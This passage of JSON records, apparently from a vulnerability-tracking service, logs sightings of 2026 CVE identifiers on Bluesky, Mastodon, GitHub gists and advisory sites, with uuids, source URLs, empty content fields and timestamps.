"https://bsky.app/profile/cyberhub.blog/post/3mfxsx2wmx423", "content": "", "creation_timestamp": "2026-03-01T03:40:09.726870Z"}, {"uuid": "b27d67b5-edf1-48bf-b9bd-042fc3e03f19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27778", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgex6vmvf226", "content": "", "creation_timestamp": "2026-03-06T09:00:44.542459Z"}, {"uuid": "23d4afd3-2e0f-4557-a261-8605d1b4d6b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27589", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfmqhu2cm22e", "content": "", "creation_timestamp": "2026-02-24T17:56:34.318958Z"}, {"uuid": "c6e05e8d-3b72-461e-8176-3452da91cc0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27899", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqfn3nav62k", "content": "", "creation_timestamp": "2026-02-26T04:53:17.731047Z"}, {"uuid": "a8cf6882-87c1-48c1-8aad-f226f5a57f7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27952", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqfur7f4s2v", "content": "", "creation_timestamp": "2026-02-26T04:57:35.375760Z"}, {"uuid": "1a499442-796b-4429-98aa-ce9535804545", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27900", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mfqfzouleu23", "content": "", "creation_timestamp": "2026-02-26T05:00:20.644907Z"}, {"uuid": "075c90f6-4adf-4da9-86c3-69000e715b37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27590", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfmqzqwm4y2x", "content": "", "creation_timestamp": "2026-02-24T18:06:34.955397Z"}, {"uuid": "e2bdc58b-3bc6-49c1-af68-cd432b6f09d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27961", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqg5pn7fb2e", "content": "", "creation_timestamp": "2026-02-26T05:02:35.700644Z"}, {"uuid": "04ac3af0-0037-4b3d-8de0-deb6c0ef36c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27941", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqggo3ihj2z", "content": "", "creation_timestamp": "2026-02-26T05:07:36.040944Z"}, {"uuid": "2feeee94-3436-4a75-91cb-9c6ec258b6d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27192", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116106738236454635", "content": "", "creation_timestamp": "2026-02-21T04:30:28.212059Z"}, {"uuid": "6f19465f-224d-453d-8475-f6444c64a082", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27192", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfdrzpjksa2c", "content": "", "creation_timestamp": "2026-02-21T04:30:29.943150Z"}, {"uuid": "373c9c27-fcd8-4d4c-9a78-28b1790e3bb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27194", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfkkez2f4f2f", "content": "", "creation_timestamp": "2026-02-23T21:02:17.585221Z"}, {"uuid": "d28935fa-2410-4004-aba8-5e692a9c32a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27578", "type": "seen", "source": "https://gist.github.com/alon710/0d80cde6bd8b242b554f8f77bc43b2c0", "content": "", "creation_timestamp": "2026-02-26T05:10:19.000000Z"}, {"uuid": "d5b3acec-be8e-429e-b8ab-562f68e24f7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27521", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfmrcpdz2z2u", "content": "", "creation_timestamp": "2026-02-24T18:11:35.536502Z"}, {"uuid": "8227924f-a621-4015-9638-a922c755d412", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqgpmjeqa2x", "content": "", "creation_timestamp": "2026-02-26T05:12:36.549510Z"}, {"uuid": "23015342-8b9b-4e73-9eb8-2aa730836e6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2731", "type": "seen", "source": "https://bsky.app/profile/cyber-news-fi.bsky.social/post/3mfb5zqtokv2h", "content": "", "creation_timestamp": "2026-02-20T03:27:16.708232Z"}, {"uuid": "2c51be07-0fef-4261-95c4-4fe0d06cc116", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27466", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfrycu2qlx2a", "content": "", "creation_timestamp": "2026-02-26T20:00:15.218456Z"}, {"uuid": "03651d62-dfad-43cc-947f-880a8c562183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27441", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mga4e2k2nk2c", "content": "", "creation_timestamp": "2026-03-04T10:49:54.779689Z"}, {"uuid": "9447c3e4-ce45-47c4-bdc5-0eee92de4c39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqgwfrb4u2s", "content": "", "creation_timestamp": "2026-02-26T05:16:24.681548Z"}, {"uuid": "4fa388ce-e72a-4fbd-8576-7c841f43798a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27441", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mga4e3ouf22c", "content": "", "creation_timestamp": "2026-03-04T10:49:55.328667Z"}, {"uuid": "144bab0a-9e12-4db1-ad24-55f70dbff8eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27196", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfduvo7ni32s", "content": "", "creation_timestamp": "2026-02-21T05:21:55.923303Z"}, {"uuid": "e2d23212-fd9c-47cc-9766-1cffda2a5c68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27941", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqgwmypzv2s", "content": "", "creation_timestamp": "2026-02-26T05:16:32.914776Z"}, {"uuid": "5214489f-c677-44eb-8e06-7489cc327d63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27441", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mga4e67v5s2c", "content": "", "creation_timestamp": "2026-03-04T10:49:55.837439Z"}, {"uuid": "fa971e51-5687-4425-83a9-7d99a9689531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27197", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfduvvxblh2c", "content": "", "creation_timestamp": "2026-02-21T05:22:03.796455Z"}, {"uuid": "8a4fa89e-3991-4057-9179-5e8ef7862853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27952", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqgwun6mm2s", "content": "", "creation_timestamp": "2026-02-26T05:16:40.045693Z"}, {"uuid": "f9312c64-26ec-40da-a125-0cdaf2f2c50d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27969", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqgykykey2u", "content": "", "creation_timestamp": "2026-02-26T05:17:36.826495Z"}, {"uuid": "d5c6858b-67c1-4737-9b99-694bb1172e02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27197", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116107092205933105", "content": "", "creation_timestamp": "2026-02-21T06:00:29.582791Z"}, {"uuid": "ea85727c-ec55-4f49-b078-34e80fd694db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27197", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfdx2ok5cs2o", "content": "", "creation_timestamp": "2026-02-21T06:00:31.357371Z"}, {"uuid": "2ab16cca-0ce9-4196-bee9-a36a44aeaff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27965", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqhbjglld2n", "content": "", "creation_timestamp": "2026-02-26T05:22:37.043417Z"}, {"uuid": "f1c11cb2-2e1f-4a55-8b47-6886bd367141", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27198", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfdy33ul632n", "content": "", "creation_timestamp": "2026-02-21T06:18:39.132052Z"}, {"uuid": "062cb853-ddbb-4a5f-8a22-17b8b06e53e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27772", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg3q4qdwqa2a", "content": "", "creation_timestamp": "2026-03-02T17:00:17.435255Z"}, {"uuid": "b42ccecf-9217-48ee-86d9-01e890d4ebdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27822", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-poc-in-rustfs-console", "content": "", "creation_timestamp": "2026-03-02T13:01:37.000000Z"}, {"uuid": "e99eb541-1a93-4479-9c6e-efcf3473bcf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27794", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-135/", "content": "", "creation_timestamp": "2026-03-03T05:00:00.000000Z"}, {"uuid": "cbca9a54-08c7-4e9f-9954-d41538f2efe9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27904", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfvepo6aab2x", "content": "", "creation_timestamp": "2026-02-28T04:20:09.249470Z"}, {"uuid": "5d6bc420-7994-451f-8e93-37f0c601b53e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27623", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfkm2qhy5n2o", "content": "", "creation_timestamp": "2026-02-23T21:32:19.996075Z"}, {"uuid": "4e3fb8db-7e16-46a1-9b94-aca7e9ccd47e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2781", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mgd6xjthz7w2", "content": "", "creation_timestamp": "2026-03-05T16:14:33.955025Z"}, {"uuid": "44797437-fc72-4f11-aa84-f07336beb2c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27206", "type": "seen", "source": "https://gist.github.com/alon710/935450463949afbac9737b4b067b77a3", "content": "", "creation_timestamp": "2026-02-21T07:10:39.000000Z"}, {"uuid": "b5fdf018-b6c5-419c-acd2-cebf4818b85c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27574", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfknmnrq4c2u", "content": "", "creation_timestamp": "2026-02-23T22:00:14.996769Z"}, {"uuid": "5828a98c-3250-4d9f-9f5b-28259905de11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2748", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgaavi3izt2u", "content": "", "creation_timestamp": "2026-03-04T12:11:06.452021Z"}, {"uuid": "abef1005-1531-4934-902b-9d864394fca3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27206", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfe3f7noru2k", "content": "", "creation_timestamp": "2026-02-21T07:17:59.995442Z"}, {"uuid": "349de4b8-802d-49b1-b544-46e8511f289c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27206", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfe3fic2by26", "content": "", "creation_timestamp": "2026-02-21T07:18:08.795040Z"}, {"uuid": "191aac25-eaf6-493a-8831-11856d8da47b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2746", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgab6gkioa27", "content": "", "creation_timestamp": "2026-03-04T12:16:07.271766Z"}, {"uuid": "201757b2-19ca-49b6-89a3-a5856afc70e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27903", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqi7t7atb2f", "content": "", "creation_timestamp": "2026-02-26T05:39:34.439902Z"}, {"uuid": "06a235ee-3aaa-4959-b529-98cfda12c424", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27626", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfxznnvohi2e", "content": "", "creation_timestamp": "2026-03-01T05:40:10.260073Z"}, {"uuid": "84c9da00-73bf-442d-87df-9556f6d05770", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27206", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfe42rxllb24", "content": "", "creation_timestamp": "2026-02-21T07:30:03.542981Z"}, {"uuid": "7cfa3297-1d50-46e2-b6d4-65db251b8328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27904", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqia23ij62u", "content": "", "creation_timestamp": "2026-02-26T05:39:42.362813Z"}, {"uuid": "0953e875-7026-4a50-afe4-5f90c71d73ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27635", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfvftg5w6b2h", "content": "", "creation_timestamp": "2026-02-28T04:40:09.354338Z"}, {"uuid": "971446ac-0a94-4c8b-94df-dd21176c89f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27452", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116107446506707835", "content": "", "creation_timestamp": "2026-02-21T07:30:35.632170Z"}, {"uuid": "da32dd21-4b01-4fc2-bd21-271542149be6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27169", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfkoqallmz2m", "content": "", "creation_timestamp": "2026-02-23T22:20:09.208716Z"}, {"uuid": "1c6a6ec0-1ccf-4c8c-b8c2-8df8b976b0be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27938", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqiab7qyg2h", "content": "", "creation_timestamp": "2026-02-26T05:39:49.166755Z"}, {"uuid": "e5502576-e377-4b31-b750-6f81fa69d414", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2747", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgabqdunt627", "content": "", "creation_timestamp": "2026-03-04T12:26:07.739045Z"}, {"uuid": "aae7f4fa-5a9b-4873-99b0-4f4fbeef61cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27452", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfe43sfnnj2p", "content": "", "creation_timestamp": "2026-02-21T07:30:37.963157Z"}, {"uuid": "66d2f6ed-87eb-4ad8-a685-30ee8380ef6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27600", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg6xj6dscv2x", "content": "", "creation_timestamp": "2026-03-03T23:50:30.179011Z"}, {"uuid": "78aaab05-7921-4d4e-95f0-e145c2e26c76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27575", "type": "seen", "source": "https://gist.github.com/alon710/76267e5daeda7cb4e541e53f49c018f0", "content": "", "creation_timestamp": "2026-02-26T05:40:19.000000Z"}, {"uuid": "674b117c-1b93-463a-a187-c078e9fe1db7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27963", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqie5wgmp2y", "content": "", "creation_timestamp": "2026-02-26T05:41:59.590155Z"}, {"uuid": "15511679-d5e0-47f8-9993-fae229d4a301", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27975", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqik4ya7y2y", "content": "", "creation_timestamp": "2026-02-26T05:45:19.771052Z"}, {"uuid": "ea17fe22-23d4-479f-8a17-b635e981d0ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27470", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfe6pjevvn2h", "content": "", "creation_timestamp": "2026-02-21T08:17:26.842794Z"}, {"uuid": "7d038b0a-d7e0-445c-91df-e284552e33cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27974", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqiqtwgwc2z", "content": "", "creation_timestamp": "2026-02-26T05:49:06.598942Z"}, {"uuid": "332771e7-f778-4ddc-9b86-ebc07a0521b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27470", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfe6pvhk7k2c", "content": "", "creation_timestamp": "2026-02-21T08:17:39.460138Z"}, {"uuid": "af97e053-a95c-46f6-82c4-1778d1c30914", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27464", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfe6q44i3n2n", "content": "", "creation_timestamp": "2026-02-21T08:17:46.580199Z"}, {"uuid": "6380137b-76ab-4905-918b-370f4cae02cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27575", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfqjdjps7b2k", "content": "", "creation_timestamp": "2026-02-26T05:59:32.812936Z"}, {"uuid": "1be7de51-36aa-42c0-b02d-c1ceb1699b1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27932", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg6xvkwteq2u", "content": "", "creation_timestamp": "2026-03-03T23:57:26.080505Z"}, {"uuid": "4a3c85f4-ff12-455a-9664-0b67a364b5b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2798", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmxxfxrle2f", "content": "", "creation_timestamp": "2026-02-24T20:10:33.410050Z"}, {"uuid": "f06a3c32-130f-4640-b1be-d0013c5f3a72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27939", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvjudcfcp2t", "content": "", "creation_timestamp": "2026-02-28T05:52:14.831667Z"}, {"uuid": "74df827a-af05-4f2f-8685-447c03111a62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27601", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg6xz656gz2z", "content": "", "creation_timestamp": "2026-03-03T23:59:26.608019Z"}, {"uuid": "37b156a9-b009-47cb-99a8-70ad4d07e5ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27470", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfe6ydw6zd26", "content": "", "creation_timestamp": "2026-02-21T08:22:23.060796Z"}, {"uuid": "3a18f8b7-9f8b-4826-8fa5-c715bddbc6e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27498", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfqjfaw4hg22", "content": "", "creation_timestamp": "2026-02-26T06:00:30.878554Z"}, {"uuid": "a73776f8-6671-4510-97ac-c079bd6be91a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27636", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgdbjh473q2m", "content": "", "creation_timestamp": "2026-03-05T17:00:15.975264Z"}, {"uuid": "55d5e5dc-b5f0-4b6e-a2e4-27bd81feb72b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27730", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfvkco5ag32e", "content": "", "creation_timestamp": "2026-02-28T06:00:15.611324Z"}, {"uuid": "af5baf20-7c02-4c99-9467-322d38d67883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27465", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqjtfglnw2v", "content": "", "creation_timestamp": "2026-02-26T06:08:24.449393Z"}, {"uuid": "6a60e926-7209-49c2-9c51-dfaa9df7d00d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27947", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116146728324980295", "content": "", "creation_timestamp": "2026-02-28T06:00:28.754580Z"}, {"uuid": "e8169686-856a-4402-8da6-a40b52abe538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27636", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3mg6y4akg2p2d", "content": "", "creation_timestamp": "2026-03-04T00:01:09.849009Z"}, {"uuid": "99ec7a2b-85f1-464a-9205-aaedfe5c2bdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27947", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfvkd3xm7r25", "content": "", "creation_timestamp": "2026-02-28T06:00:30.483270Z"}, {"uuid": "a29f74c6-5a8a-427e-bf6a-801273c9ca01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27905", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg6y4z3zib2z", "content": "", "creation_timestamp": "2026-03-04T00:01:35.591645Z"}, {"uuid": 